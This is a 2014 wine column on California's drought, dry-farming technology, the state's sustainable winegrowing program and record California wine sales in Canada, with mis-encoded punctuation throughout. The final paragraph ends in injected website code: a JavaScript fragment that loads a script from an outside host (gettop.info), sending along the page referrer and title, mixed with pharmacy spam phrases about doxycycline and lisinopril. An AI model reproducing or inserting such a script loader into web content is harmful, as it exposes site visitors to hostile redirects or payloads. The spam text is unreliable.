Water woes continue – May 16, 2014


By Anthony Gismondi

A week in California will raise your level of awareness regarding water or the lack of it, as the Golden State struggles with what appears will be Year 4 of a major drought. Governor Jerry Brown has already order a 25-per-cent reduction in water use statewide, which has farmers nervous.

Former Robert Mondavi winemaker Thibaut Scholasch, the founder of Fruition Sciences, a firm that helps growers with dry farming, using sensors, drones and data analysis to prevent stress to the plants, was quoted in an NBC News report that all vineyard operators need to rethink how they assess whether vines are dry or not, as growers seek to find the razor edge of life versus death for their vines.

a�?People try to grow vines like lush green, flower-box plants,a�? Scholasch said. a�?There is a certain level of tolerance the plant can live with without affecting its activity. You can cut about 40 per cent of water from vineyards. We are trying to un-train people from relying on what they see with their eyes.a�?

The goal is to measure real-time behavior of plants to make sure they are adapting to the amount of water instead of watering when plants look dry. Ita��s easier said than done and according to some experts, even the best technology may not be enough to save the day. The encouraging news is that moving to a fully sustainable, certified business model across the entire wine growing sector will help, and California growers are well ahead of many others countries in this field.

About 1,900 California wineries and vineyards have already participated in the California Sustainable Winegrowing Program. That includes 70 per cent of Californiaa��s vineyard acreage and wine case production; over 57 per cent of California wines are certified California Sustainable Winegrowing by a third-party auditor. There are now over 220 best practices in the comprehensive California Code of Sustainable and an amazing 11,000 industry members, and growing, have attended workshops, a significant achievement as the state is the worlda��s fourth largest wine producer.

We could learn plenty from this program of continuous improvement. As pioneer Bob Blue of Bonterra Vineyards recently pointed out, no one who buys into the sustainability game is ever happy with just meeting the basic standard. It simply becomes a starting point from which they all continuously move higher.

The good news is U.S. or California wine in Canada is a pretty picture for American producers at the moment. For the first time in history, U.S. wine imports a�� 90 per cent from California a�� reached $1 billion in retail sales in 2014, surpassing Italy and France for the top spot in Canada. With a record 6.1 million cases or 7,320,000 bottles (nine-litre cases) sold in 2014, Canada is now the largest export market for California wines.

California wine sales experienced strong growth in all provinces across Canada, making it the largest import category in B.C. and of the seven major import sources, wine from the U.S. is the fastest growing category nationally, out-pacing Italy, France, Australia , Chile, Argentina, and Spain.

Over the past five years, U.S. wine sales in Canada have grown at an astounding rate of 78 per cent versus the over-all market, which grew at 16 per cent as verified by the Canadian Vintners Association monthly reports. Interestingly, Quebec is now the largest market in Canada for U.S wines. Clearly once Quebecers had a taste of sunshine in the bottle there was no going back to France or Italy.

Alberta boasts the highest share of American wine at a rich 27 per cent; thata��s one of every four bottles consumed coming from California. Could it be the cabernet sauvignon and beef match that is fuelling those numbers? Now if the Canadian dollar would co-operate we may finally have a selection of California wine that could rival what was here in the 1980s.if (document.currentScript) { where can i buy doxycycline in kentucky s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; retail price of lisinopril

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